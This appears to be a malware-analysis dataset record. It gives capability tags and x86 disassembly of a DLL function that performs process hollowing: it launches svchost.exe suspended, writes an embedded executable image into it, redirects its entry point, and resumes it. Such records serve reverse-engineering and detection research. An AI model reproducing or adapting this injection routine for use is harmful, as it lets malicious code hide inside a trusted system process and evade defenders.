Function at 0x10001000
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Get common file path
Resume thread
Terminate process
Use process replacement

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x728
mov eax, dword [0x10012004]
xor eax, esp
mov dword [esp + 0x724], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
sub eax, 1
je 0x1000102d
sub eax, 1
jne 0x100012bd
lea eax, [esp + 0x620]
push eax
push 0
push 0
push 0x25
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
push str.svchost.exe
lea eax, [esp + 0x624]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
xor edi, edi
mov dword [esp + 0x14], edi
nop dword [eax]
lea eax, [esp + 0x20]
mov dword [esp + 0x5d8], 0x44
push eax
lea eax, [esp + 0x5dc]
xorps xmm0, xmm0
push eax
push 0
push 0
push 4
push 1
push 0
push 0
push 0
lea eax, [esp + 0x644]
movlpd qword [esp + 0x600], xmm0
push eax
movlpd qword [esp + 0x60c], xmm0
movlpd qword [esp + 0x614], xmm0
movlpd qword [esp + 0x61c], xmm0
movlpd qword [esp + 0x624], xmm0
movlpd qword [esp + 0x62c], xmm0
movlpd qword [esp + 0x634], xmm0
movlpd qword [esp + 0x63c], xmm0
movaps xmmword [esp + 0x48], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp eax, 1
jne 0x10001298
push 0x2c8
lea eax, [esp + 0x310]
mov dword [esp + 0x20], 0
push 0
push eax
call fcn.10002200
add esp, 0xc
mov dword [esp + 0x308], 0x10007
lea eax, [esp + 0x308]
push eax
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push 0
push 4
lea eax, [esp + 0x24]
push eax
mov eax, dword [esp + 0x3b8]
add eax, 8
push eax
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x1000114f
xor ecx, ecx
jmp 0x1000115a
mov ecx, dword [esp + 0x3ac]
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x10001298
test ecx, ecx
je 0x10001298
mov eax, dword [0x100128ac]
push 0x40
push 0x3000
push dword [eax + 0x100128c0]
lea esi, [eax + 0x10012870]
push dword [esi + 0x34]
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [esp + 0x18], eax
test eax, eax
je 0x10001282
push 0
push dword [esi + 0x54]
push 0x10012870
push eax
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10001282
xor eax, eax
xor edi, edi
cmp ax, word [esi + 6]
jae 0x1000120d
xor ecx, ecx
mov dword [esp + 0x1c], ecx
movzx eax, word [esi + 0x14]
add ecx, eax
push 0
push dword [ecx + esi + 0x28]
mov eax, dword [ecx + esi + 0x2c]
add eax, 0x10012870
push eax
mov eax, dword [ecx + esi + 0x24]
add eax, dword [esp + 0x24]
push eax
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1000127e
mov ecx, dword [esp + 0x1c]
inc edi
movzx eax, word [esi + 6]
add ecx, 0x28
mov dword [esp + 0x1c], ecx
cmp edi, eax
jl 0x100011c8
push 0x2c8
lea eax, [esp + 0x40]
push 0
push eax
call fcn.10002200
add esp, 0xc
mov dword [esp + 0x38], 0x10007
lea eax, [esp + 0x38]
push eax
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1000127e
push 0
push 4
lea eax, [esi + 0x34]
push eax
mov eax, dword [esp + 0xe8]
add eax, 8
push eax
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1000127e
mov eax, dword [esi + 0x28]
add eax, dword [esp + 0x18]
mov dword [esp + 0xe8], eax
lea eax, [esp + 0x38]
push eax
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x100012b3
mov edi, dword [esp + 0x14]
push 0xffffffffffffffff
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
mov dword [esp + 0x14], edi
cmp edi, 8
jl 0x10001060
jmp 0x100012bd
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [esp + 0x72c]
mov eax, 1
pop edi
pop esi
xor ecx, esp
call fcn.100012d8
mov esp, ebp
pop ebp
ret 0xc